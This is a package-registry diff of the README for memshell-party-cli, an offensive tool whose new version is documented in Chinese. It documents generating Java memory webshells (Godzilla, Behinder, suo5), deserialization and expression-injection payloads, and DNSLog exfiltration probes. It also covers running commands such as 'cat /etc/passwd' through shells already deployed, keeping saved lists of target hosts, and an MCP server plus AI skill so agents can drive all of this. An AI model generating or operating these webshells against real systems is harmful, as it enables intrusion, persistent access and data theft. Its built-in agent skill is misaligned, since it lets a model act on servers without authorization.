memshell-party-cli 0.2.2 → 0.3.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -1,303 +1,368 @@
1
- # memshell-party-cli
2
-
3
- English | [中文](README.zh-CN.md)
4
-
5
- Command-line client **and** MCP server for [MemShellParty](https://party.mem.mk) — generate Java
6
- memory shells and probe shells straight from your terminal (or from an AI agent), talking to the
7
- same HTTP API that powers `party.mem.mk/ui`.
8
-
9
- > ⚠️ For authorized security testing, red-team engagements, and research only. You are responsible
10
- > for how you use it.
11
-
12
- ## Features
13
-
14
- - **Interactive wizard** — run `memparty gen` with no flags and pick server / tool / type / packer
15
- from live, API-driven menus.
16
- - **Fully scriptable** — every option is also a flag, so generation is reproducible in CI or scripts.
17
- - **MCP server** — `memparty mcp` exposes generation and config as tools for Claude and other MCP clients.
18
- - **All endpoints** — memshell generate, probe generate, config listing, class-name parsing, version.
19
- - **Connection testing** — `memparty connect` verifies a deployed Godzilla / Behinder / suo5 shell
20
- is alive and the credentials work (echo/handshake round-trip).
21
- - **Flexible output** — payload to stdout by default, or `-o file` (auto base64-decodes `.class`/`.jar`).
22
- - **Any backend** — defaults to the public site, override to your self-hosted instance.
23
-
24
- ## Install
25
-
26
- ```bash
27
- npm install -g memshell-party-cli
28
- # or run without installing:
29
- npx memshell-party-cli gen
30
- ```
31
-
32
- Requires Node.js >= 18.
33
-
34
- ## Choosing the backend
35
-
36
- By priority: `--api` flag → `MEMPARTY_API_URL` env var → `~/.mempartyrc` (`{"apiUrl": "..."}`) →
37
- default `https://party.mem.mk`.
38
-
39
- Self-hosting is recommended (see the MemShellParty README for the Docker one-liner):
40
-
41
- ```bash
42
- memparty --api http://127.0.0.1:8080 gen
43
- # or
44
- export MEMPARTY_API_URL=http://127.0.0.1:8080
45
- ```
46
-
47
- ## Usage
48
-
49
- ### Interactive
50
-
51
- ```bash
52
- memparty gen # wizard for a memory shell
53
- memparty probe # wizard for a probe shell
54
- ```
55
-
56
- The wizard launches automatically when required flags are missing and you're in a terminal.
57
- Force it anytime with `-i`, or disable it with `--no-interactive`.
58
-
59
- ### Scripted generation
60
-
61
- ```bash
62
- # Godzilla listener for Tomcat, single Base64 payload to stdout
63
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
64
- --godzilla-pass pass --godzilla-key key --jdk java8
65
-
66
- # Write a decoded .class file (base64 decoding is automatic for .class/.jar)
67
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
68
- --godzilla-pass pass --godzilla-key key -o shell.class
69
-
70
- # Command shell with an explicit encryptor
71
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
72
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
73
-
74
- # Full JSON response (metadata + payload) for further processing
75
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
76
- ```
77
-
78
- `--jdk` accepts `java6/8/9/11/17/21`, a bare number (`8`), or a raw class-file major version (`52`).
79
-
80
- Note: some packers (e.g. `Base64`) are *aggregate* packers and return several variants at once;
81
- pick a leaf packer (e.g. `DefaultBase64`, `GzipBase64`) for a single payload.
82
-
83
- ### Discovering options
84
-
85
- ```bash
86
- memparty config servers # servers and their shell types
87
- memparty config tools Tomcat # tools + types for one server
88
- memparty config packers # packer parent/child tree
89
- memparty config command # Command encryptors & implementation classes
90
- memparty config servers --json # machine-readable
91
- ```
92
-
93
- ### Probe shells
94
-
95
- ```bash
96
- memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
97
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
98
- ```
99
-
100
- Probe method × content matrix (only these combos are supported by the backend):
101
-
102
- | Method `-m` | Supported content `-c` |
103
- |-------------|-------------------------|
104
- | `DNSLog` | `Server`, `JDK` |
105
- | `Sleep` | `Server` |
106
- | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
107
-
108
- ### Testing a deployed shell
109
-
110
- `memparty connect` checks whether a shell that is already injected/uploaded actually answers —
111
- it performs the real protocol handshake (Behinder echo, Godzilla payload + `test()` call, suo5
112
- tunnel handshake) and exits 0 on success, 1 on failure.
113
-
114
- ```bash
115
- # Godzilla (defaults: --pass pass --key key)
116
- memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
117
-
118
- # Behinder (default: --pass rebeyond)
119
- memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
120
-
121
- # suo5 (auto-detects the v2 handshake vs the legacy v1 echo; force with --suo5-mode v2|v1)
122
- memparty connect -u http://target/suo5.jsp -t suo5
123
- ```
124
-
125
- Shells generated by MemShellParty are gated by an auth header — the values are in the
126
- `gen --json` output as `shellToolConfig.headerName` / `headerValue` and **must** be passed along
127
- (the Suo5v2 shell checks it too):
128
-
129
- ```bash
130
- memparty connect -u http://target/x -t godzilla --pass pass --key key \
131
- --header-name User-Agent --header-value qSGAJScj
132
- ```
133
-
134
- Other flags: `-H "Name: value"` for extra headers, `-k/--insecure` for self-signed TLS,
135
- `--json` for machine-readable output, `--timeout <ms>` (global option).
136
-
137
- ## Demos
138
-
139
- End-to-end recipes. Pick the **packer** to match your delivery vector, and the **shell type** to
140
- match the target (add the `Jakarta` prefix for Tomcat 10+ / Spring Boot 3; use `Agent*` types with
141
- the `AgentJar*` packers). When in doubt, run `memparty config tools <server>` and
142
- `memparty config packers` first.
143
-
144
- ### 1. Godzilla webshell on Tomcat 9 (javax)
145
-
146
- ```bash
147
- # Listener-based Godzilla shell, single base64 payload to stdout
148
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
149
- --godzilla-pass pass --godzilla-key key --jdk java8
150
-
151
- # ...or write the decoded injector .class straight to disk
152
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
153
- --godzilla-pass pass --godzilla-key key -o shell.class
154
- ```
155
-
156
- ### 2. Same shell on Tomcat 10+ / Spring Boot 3 (Jakarta)
157
-
158
- ```bash
159
- memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
160
- --godzilla-pass pass --godzilla-key key --jdk java17
161
- ```
162
-
163
- ### 3. Pure command-execution shell (RCE)
164
-
165
- ```bash
166
- memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
167
- --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
168
- ```
169
-
170
- ### 4. Deserialization gadget chain (e.g. CommonsBeanutils ≤ 1.9.4)
171
-
172
- ```bash
173
- memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
174
- --godzilla-pass pass --godzilla-key key --jdk java8
175
- # other chains: JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
176
- ```
177
-
178
- ### 5. Expression-injection delivery (SpEL / OGNL / EL / Groovy …)
179
-
180
- ```bash
181
- # Spring SpEL injection -> define + load the shell class (Spring uses Interceptor, not Filter)
182
- memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
183
- --command-param-name cmd --jdk java8
184
- # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
185
- # (SpEL/OGNL/JXPath are *aggregate* packers — they return several variants at once)
186
- ```
187
-
188
- ### 6. Drop a JSP file
189
-
190
- ```bash
191
- memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
192
- --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
193
- ```
194
-
195
- ### 7. Java-agent memory shell (survives redeploys, hooks deep)
196
-
197
- ```bash
198
- memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
199
- --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
200
- ```
201
-
202
- ### 8. Fingerprint the target first (blind)
203
-
204
- ```bash
205
- # DNSLog: confirm code execution + exfil the server/JDK name via DNS
206
- memparty probe -m DNSLog -c Server -p DefaultBase64 --host <your>.dnslog.cn
207
- # Sleep: time-based blind — delays Ns only if the server matches your guess
208
- memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
209
- ```
210
-
211
- The server name a probe reports is exactly the `-s` value to pass to `memparty gen`.
212
-
213
- ### Parse a class name
214
-
215
- ```bash
216
- memparty parse-classname --file shell.class
217
- memparty parse-classname <base64-of-class-bytes>
218
- ```
219
-
220
- ### Version
221
-
222
- ```bash
223
- memparty version # CLI version + backend server version
224
- ```
225
-
226
- ## MCP server
227
-
228
- Run the CLI as an MCP server over stdio:
229
-
230
- ```bash
231
- memparty mcp --api http://127.0.0.1:8080
232
- ```
233
-
234
- Example Claude Code / Claude Desktop config:
235
-
236
- ```json
237
- {
238
- "mcpServers": {
239
- "memshell-party": {
240
- "command": "npx",
241
- "args": ["-y", "memshell-party-cli", "mcp"],
242
- "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
243
- }
244
- }
245
- }
246
- ```
247
-
248
- Exposed tools: `list_servers`, `list_config`, `list_packers`, `list_command_configs`,
249
- `generate_memshell`, `generate_probe`, `parse_classname`, `server_version`, `connect_test`.
250
-
251
- ## AI skill (Claude Code)
252
-
253
- The package ships a [Claude Code skill](https://docs.claude.com/en/docs/claude-code/skills) at
254
- `skills/memshell-party/SKILL.md` that teaches an AI agent how to drive MemShellParty — the
255
- server/tool/type/packer decision tree, the probe method×content matrix, packer-by-scenario
256
- guidance, and the common gotchas (Jakarta vs javax, JDK targeting, aggregate vs leaf packers).
257
-
258
- Install it into a project (or drop it in `~/.claude/skills/` for global use):
259
-
260
- ```bash
261
- # from the package root, or after `npm install memshell-party-cli`:
262
- mkdir -p .claude/skills
263
- cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
264
- ```
265
-
266
- Then just ask in natural language, e.g. *"generate a Godzilla listener for Tomcat 10"* or
267
- *"give me a CommonsBeanutils deserialization payload for a Spring Boot 2 app"* — the skill guides
268
- the agent to enumerate options first and pick the right packer for the vector.
269
-
270
- ## Programmatic use
271
-
272
- The package also ships a typed API client:
273
-
274
- ```ts
275
- import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
276
-
277
- const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
278
- const res = await client.generateMemShell(
279
- buildMemShellRequest({
280
- server: "Tomcat",
281
- shellTool: "Godzilla",
282
- shellType: "Listener",
283
- packer: "DefaultBase64",
284
- godzillaPass: "pass",
285
- godzillaKey: "key",
286
- jdk: "java8",
287
- }),
288
- );
289
- console.log(res.memShellResult.shellClassName, res.packResult);
290
- ```
291
-
292
- ## Development
293
-
294
- ```bash
295
- npm install
296
- npm run build # tsup -> dist/
297
- npm test # vitest
298
- npm run typecheck # tsc --noEmit
299
- ```
300
-
301
- ## License
302
-
303
- MIT
1
+ # memshell-party-cli
2
+
3
+ [English](README.en.md) | 中文
4
+
5
+ [MemShellParty](https://party.mem.mk) 的命令行客户端 **兼** MCP 服务器 —— 直接在终端(或 AI
6
+ 代理)里生成 Java 内存马和探测马,走的是与 `party.mem.mk/ui` 相同的 HTTP API。
7
+
8
+ > ⚠️ 仅限授权安全测试、红队行动与研究用途。如何使用由你自己负责。
9
+
10
+ ## 功能特性
11
+
12
+ - **交互式向导** —— 不带参数运行 `memparty gen`,从实时拉取的 API 菜单中选择
13
+ 服务器 / 工具 / 类型 / 打包器。
14
+ - **完全可脚本化** —— 每个选项都有对应命令行参数,CI 或脚本中可以精确复现。
15
+ - **MCP 服务器** —— `memparty mcp` 把生成和配置能力暴露为工具,供 Claude 及其他 MCP 客户端调用。
16
+ - **覆盖全部端点** —— 内存马生成、探测马生成、配置查询、类名解析、版本查询。
17
+ - **连接测试** —— `memparty connect` 验证已部署的 哥斯拉 / 冰蝎 / suo5 马是否存活、
18
+ 凭证是否正确(回显 / 握手双向校验)。
19
+ - **命令执行** —— `memparty exec` 在已部署的哥斯拉 / 冰蝎马上执行命令并回显输出
20
+ (真实 `execCommand` / `Cmd` payload 往返)。
21
+ - **命名目标** —— `memparty target save` 把 shell 存进项目(支持备注 + 分类),之后
22
+ `memparty exec hw222/bh9060 --cmd "whoami"` 一个名字就够。
23
+ - **操作日志** —— 每次 gen/probe/connect/exec/target 操作都追加到
24
+ `~/.memparty/operations.jsonl`,`memparty log` 按分类和目标查询。
25
+ - **灵活的输出** —— payload 默认输出到 stdout,`-o file` 写文件(`.class`/`.jar` 自动
26
+ base64 解码)。
27
+ - **任意后端** —— 默认使用公共站点,可切换为自建实例。
28
+
29
+ ## 安装
30
+
31
+ ```bash
32
+ npm install -g memshell-party-cli
33
+ # 或者免安装直接运行:
34
+ npx memshell-party-cli gen
35
+ ```
36
+
37
+ 要求 Node.js >= 18。
38
+
39
+ ## 选择后端
40
+
41
+ 优先级从高到低:`--api` 参数 → `MEMPARTY_API_URL` 环境变量 → `~/.mempartyrc`
42
+ (`{"apiUrl": "..."}`)→ 默认 `https://party.mem.mk`。
43
+
44
+ 建议自建(Docker 一行命令,见 MemShellParty 的 README):
45
+
46
+ ```bash
47
+ memparty --api http://127.0.0.1:8080 gen
48
+ # 或者
49
+ export MEMPARTY_API_URL=http://127.0.0.1:8080
50
+ ```
51
+
52
+ ## 用法
53
+
54
+ ### 交互模式
55
+
56
+ ```bash
57
+ memparty gen # 内存马向导
58
+ memparty probe # 探测马向导
59
+ ```
60
+
61
+ 当必需参数缺失且处于终端环境时,向导会自动启动。随时可用 `-i` 强制开启,或用
62
+ `--no-interactive` 禁用。
63
+
64
+ ### 脚本化生成
65
+
66
+ ```bash
67
+ # 生成 Tomcat 哥斯拉 Listener,单个 Base64 payload 输出到 stdout
68
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
69
+ --godzilla-pass pass --godzilla-key key --jdk java8
70
+
71
+ # 写出解码后的 .class 文件(.class/.jar 会自动 base64 解码)
72
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
73
+ --godzilla-pass pass --godzilla-key key -o shell.class
74
+
75
+ # 指定加密器的命令执行马
76
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
77
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
78
+
79
+ # 输出完整 JSON(元数据 + payload),便于后续处理
80
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
81
+ ```
82
+
83
+ `--jdk` 接受 `java6/8/9/11/17/21`、纯数字(`8`)或 class 文件主版本号(`52`)。
84
+
85
+ 注意:部分打包器(如 `Base64`)是*聚合*打包器,会一次返回多个变体;要单个 payload 请选
86
+ 叶子打包器(如 `DefaultBase64`、`GzipBase64`)。
87
+
88
+ ### 查询可用选项
89
+
90
+ ```bash
91
+ memparty config servers # 服务器及其 shell 类型
92
+ memparty config tools Tomcat # 指定服务器的工具 + 类型
93
+ memparty config packers # 打包器父子树
94
+ memparty config command # Command 马的加密器与实现类
95
+ memparty config servers --json # 机器可读输出
96
+ ```
97
+
98
+ ### 探测马
99
+
100
+ ```bash
101
+ memparty probe -m ResponseBody -c Command -p DefaultBase64 --server Tomcat --req-param-name cmd
102
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
103
+ ```
104
+
105
+ 探测方法 × 内容矩阵(后端仅支持以下组合):
106
+
107
+ | 方法 `-m` | 支持的内容 `-c` |
108
+ |-----------|------------------|
109
+ | `DNSLog` | `Server`, `JDK` |
110
+ | `Sleep` | `Server` |
111
+ | `ResponseBody` | `Command`, `Bytecode`, `Filter`, `ScriptEngine` |
112
+
113
+ ### 测试已部署的马
114
+
115
+ `memparty connect` 检查已经注入 / 上传的 shell 是否真的会应答 —— 它执行真实的协议握手
116
+ (冰蝎回显、哥斯拉 payload 上传 + `test()` 调用、suo5 隧道握手),成功退出码 0,失败 1。
117
+
118
+ ```bash
119
+ # 哥斯拉(默认:--pass pass --key key)
120
+ memparty connect -u http://target/shell.jsp -t godzilla --pass pass --key key
121
+
122
+ # 冰蝎(默认:--pass rebeyond)
123
+ memparty connect -u http://target/shell.jsp -t behinder --pass rebeyond
124
+
125
+ # suo5(自动识别 v2 握手与旧版 v1 回显;可用 --suo5-mode v2|v1 强制指定)
126
+ memparty connect -u http://target/suo5.jsp -t suo5
127
+ ```
128
+
129
+ MemShellParty 生成的 shell 带门禁头校验 —— 取值在 `gen --json` 输出的
130
+ `shellToolConfig.headerName` / `headerValue` 中,**必须**原样传给 connect
131
+ (Suo5v2 的 shell 同样校验):
132
+
133
+ ```bash
134
+ memparty connect -u http://target/x -t godzilla --pass pass --key key \
135
+ --header-name User-Agent --header-value qSGAJScj
136
+ ```
137
+
138
+ 其他参数:`-H "Name: value"` 添加自定义请求头,`-k/--insecure` 跳过自签名 TLS 校验,
139
+ `--json` 机器可读输出,`--timeout <ms>`(全局选项)。
140
+
141
+ ### 在已部署的马上执行命令
142
+
143
+ `memparty exec` 通过已部署的哥斯拉 / 冰蝎 shell 执行命令,并打印远端 stdout+stderr。
144
+ 走的是真实协议 —— 哥斯拉调用 payload 的 `execCommand` 方法(argv 以 `arg-0..N` 传递,
145
+ 外面包 `cmd.exe /c` 或 `/bin/sh -c`);冰蝎上传 `Cmd` payload 类(它自己根据远端
146
+ `os.name` 选择 shell)。
147
+
148
+ ```bash
149
+ # 哥斯拉 —— 默认先调 getBasicsInfo 自动探测远端系统(多一次请求);
150
+ # 传 --os windows|linux 可跳过探测
151
+ memparty exec -u http://target/shell.jsp -t godzilla --pass pass --key key --cmd "whoami"
152
+
153
+ # 冰蝎 —— payload 自己探测系统,无额外请求
154
+ memparty exec -u http://target/shell.jsp -t behinder --pass rebeyond --cmd "cat /etc/passwd"
155
+ ```
156
+
157
+ 门禁头参数与 `connect` 相同;`--json` 返回 `{ ok, tool, url, command, output, durationMs }`,
158
+ 方便脚本与 agent 使用。
159
+
160
+ ### 命名目标(项目)
161
+
162
+ 保存一次,之后用名字引用 —— 不用再抄一串参数。shell 存放在**项目**里:一个项目
163
+ 归组同一次任务的多台 shell,并可带 `--remark` 备注和 `--category` 分类。
164
+ 存储文件为 `~/.memparty/targets.json`。
165
+
166
+ ```bash
167
+ # 保存(项目自动创建;--remark/--category 是项目级属性,
168
+ # --shell-remark 是这台 shell 自己的备注)
169
+ memparty target save hw222/bh9060 -u http://192.168.31.222:9060/console/service \
170
+ -t behinder --pass rebeyond --header-name User-Agent --header-value YdwTyuQr \
171
+ --remark "内网测试环境 WebSphere" --category test --shell-remark "root 权限"
172
+
173
+ # 列出全部(可按 --category <名称> 过滤)
174
+ memparty target list
175
+
176
+ # 使用:<项目>/<shell>;项目里只有一个 shell 时光写项目名也行
177
+ memparty connect hw222/bh9060
178
+ memparty exec hw222 --cmd "whoami"
179
+
180
+ # 改项目备注 / 改某台 shell 的备注 / 清理
181
+ memparty target note hw222 --remark "新备注" --category prod
182
+ memparty target note hw222/bh9060 --remark "新的 shell 备注"
183
+ memparty target remove hw222/bh9060 # 删单个 shell
184
+ memparty target remove hw222 # 删整个项目
185
+ ```
186
+
187
+ 显式参数仍会覆盖已存值(如 `memparty exec hw222 --cmd id --pass 其他密码`)。
188
+
189
+ ### 操作日志
190
+
191
+ 每次操作(gen、probe、connect、exec、target save/note/remove)都以一行 JSON 追加到
192
+ `~/.memparty/operations.jsonl` —— 记录目标、结果、耗时,exec 还记录命令和截断后的输出。
193
+ 凭证和 payload 内容不会写入日志。
194
+
195
+ ```bash
196
+ memparty log # 最近 50 条,新的在前
197
+ memparty log --category exec # 只看命令执行
198
+ memparty log --target hw222 # 某个项目(或主机名子串)的全部操作
199
+ memparty log --category connect --json
200
+ ```
201
+
202
+ ## 示例
203
+
204
+ 端到端配方。**打包器**按投递途径选择,**shell 类型**按目标选择(Tomcat 10+ /
205
+ Spring Boot 3 加 `Jakarta` 前缀;`Agent*` 类型搭配 `AgentJar*` 打包器)。拿不准时先运行
206
+ `memparty config tools <server>` 和 `memparty config packers`。
207
+
208
+ ### 1. Tomcat 9(javax)上的哥斯拉内存马
209
+
210
+ ```bash
211
+ # Listener 型哥斯拉马,单个 base64 payload 到 stdout
212
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
213
+ --godzilla-pass pass --godzilla-key key --jdk java8
214
+
215
+ # ……或直接把解码后的注入器 .class 写到磁盘
216
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 \
217
+ --godzilla-pass pass --godzilla-key key -o shell.class
218
+ ```
219
+
220
+ ### 2. 同一个马用于 Tomcat 10+ / Spring Boot 3(Jakarta)
221
+
222
+ ```bash
223
+ memparty gen -s Tomcat -t Godzilla -y JakartaListener -p DefaultBase64 \
224
+ --godzilla-pass pass --godzilla-key key --jdk java17
225
+ ```
226
+
227
+ ### 3. 纯命令执行马(RCE)
228
+
229
+ ```bash
230
+ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \
231
+ --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec --jdk java8
232
+ ```
233
+
234
+ ### 4. 反序列化利用链(如 CommonsBeanutils ≤ 1.9.4)
235
+
236
+ ```bash
237
+ memparty gen -s Tomcat -t Godzilla -y Listener -p JavaCommonsBeanutils19 \
238
+ --godzilla-pass pass --godzilla-key key --jdk java8
239
+ # 其他链:JavaCommonsBeanutils18/17/16/110, JavaCommonsCollections3/4
240
+ ```
241
+
242
+ ### 5. 表达式注入投递(SpEL / OGNL / EL / Groovy …)
243
+
244
+ ```bash
245
+ # Spring SpEL 注入 -> define + load shell 类(Spring 用 Interceptor,不是 Filter)
246
+ memparty gen -s SpringWebMvc -t Command -y Interceptor -p SpEL \
247
+ --command-param-name cmd --jdk java8
248
+ # OGNL (Struts2), EL, MVEL, Aviator, JEXL, JXPath, Groovy, Velocity, Freemarker, JinJava ...
249
+ # (SpEL/OGNL/JXPath 是*聚合*打包器 —— 会一次返回多个变体)
250
+ ```
251
+
252
+ ### 6. 落地一个 JSP 文件
253
+
254
+ ```bash
255
+ memparty gen -s Tomcat -t Godzilla -y Listener -p DefineClassJSP \
256
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o shell.jsp
257
+ ```
258
+
259
+ ### 7. Java agent 内存马(扛得住重部署,挂钩更深)
260
+
261
+ ```bash
262
+ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar \
263
+ --godzilla-pass pass --godzilla-key key --jdk java8 -o agent.jar
264
+ ```
265
+
266
+ ### 8. 先做(盲)指纹识别
267
+
268
+ ```bash
269
+ # DNSLog:确认可执行代码,并通过 DNS 带出服务器/JDK 名称
270
+ memparty probe -m DNSLog -c Server -p DefaultBase64 --host <你的>.dnslog.cn
271
+ # Sleep:时间盲注 —— 仅当服务器与你猜的一致时才延迟 N 秒
272
+ memparty probe -m Sleep -c Server -p DefaultBase64 --sleep-server Tomcat --seconds 5
273
+ ```
274
+
275
+ 探测马报出的服务器名称就是 `memparty gen` 里 `-s` 要用的值。
276
+
277
+ ### 解析类名
278
+
279
+ ```bash
280
+ memparty parse-classname --file shell.class
281
+ memparty parse-classname <class字节的base64>
282
+ ```
283
+
284
+ ### 版本
285
+
286
+ ```bash
287
+ memparty version # CLI 版本 + 后端服务器版本
288
+ ```
289
+
290
+ ## MCP 服务器
291
+
292
+ 以 stdio 方式作为 MCP 服务器运行:
293
+
294
+ ```bash
295
+ memparty mcp --api http://127.0.0.1:8080
296
+ ```
297
+
298
+ Claude Code / Claude Desktop 配置示例:
299
+
300
+ ```json
301
+ {
302
+ "mcpServers": {
303
+ "memshell-party": {
304
+ "command": "npx",
305
+ "args": ["-y", "memshell-party-cli", "mcp"],
306
+ "env": { "MEMPARTY_API_URL": "http://127.0.0.1:8080" }
307
+ }
308
+ }
309
+ }
310
+ ```
311
+
312
+ 暴露的工具:`list_servers`、`list_config`、`list_packers`、`list_command_configs`、
313
+ `generate_memshell`、`generate_probe`、`parse_classname`、`server_version`、`connect_test`、
314
+ `exec_command`、`target_save`、`target_note`、`target_list`、`target_remove`、`log_list`。
315
+
316
+ ## AI 技能(Claude Code)
317
+
318
+ 本包附带一个 [Claude Code 技能](https://docs.claude.com/en/docs/claude-code/skills),位于
319
+ `skills/memshell-party/SKILL.md`,教 AI 代理如何驱动 MemShellParty ——
320
+ 服务器/工具/类型/打包器决策树、探测方法×内容矩阵、按场景选打包器的指导,以及常见坑
321
+ (Jakarta 与 javax 之分、JDK 目标版本、聚合与叶子打包器)。
322
+
323
+ 安装到项目中(或放到 `~/.claude/skills/` 全局使用):
324
+
325
+ ```bash
326
+ # 在包根目录下,或 npm install memshell-party-cli 之后:
327
+ mkdir -p .claude/skills
328
+ cp node_modules/memshell-party-cli/skills/memshell-party .claude/skills/ -r
329
+ ```
330
+
331
+ 之后用自然语言提问即可,比如 *"生成一个 Tomcat 10 的哥斯拉 Listener"* 或
332
+ *"给一个 Spring Boot 2 应用的 CommonsBeanutils 反序列化 payload"* —— 技能会引导代理
333
+ 先枚举选项,再按投递途径选合适的打包器。
334
+
335
+ ## 编程调用
336
+
337
+ 包内还提供带类型的 API 客户端:
338
+
339
+ ```ts
340
+ import { MemPartyClient, buildMemShellRequest } from "memshell-party-cli";
341
+
342
+ const client = new MemPartyClient({ baseUrl: "http://127.0.0.1:8080" });
343
+ const res = await client.generateMemShell(
344
+ buildMemShellRequest({
345
+ server: "Tomcat",
346
+ shellTool: "Godzilla",
347
+ shellType: "Listener",
348
+ packer: "DefaultBase64",
349
+ godzillaPass: "pass",
350
+ godzillaKey: "key",
351
+ jdk: "java8",
352
+ }),
353
+ );
354
+ console.log(res.memShellResult.shellClassName, res.packResult);
355
+ ```
356
+
357
+ ## 开发
358
+
359
+ ```bash
360
+ npm install
361
+ npm run build # tsup -> dist/
362
+ npm test # vitest
363
+ npm run typecheck # tsc --noEmit
364
+ ```
365
+
366
+ ## 许可证
367
+
368
+ MIT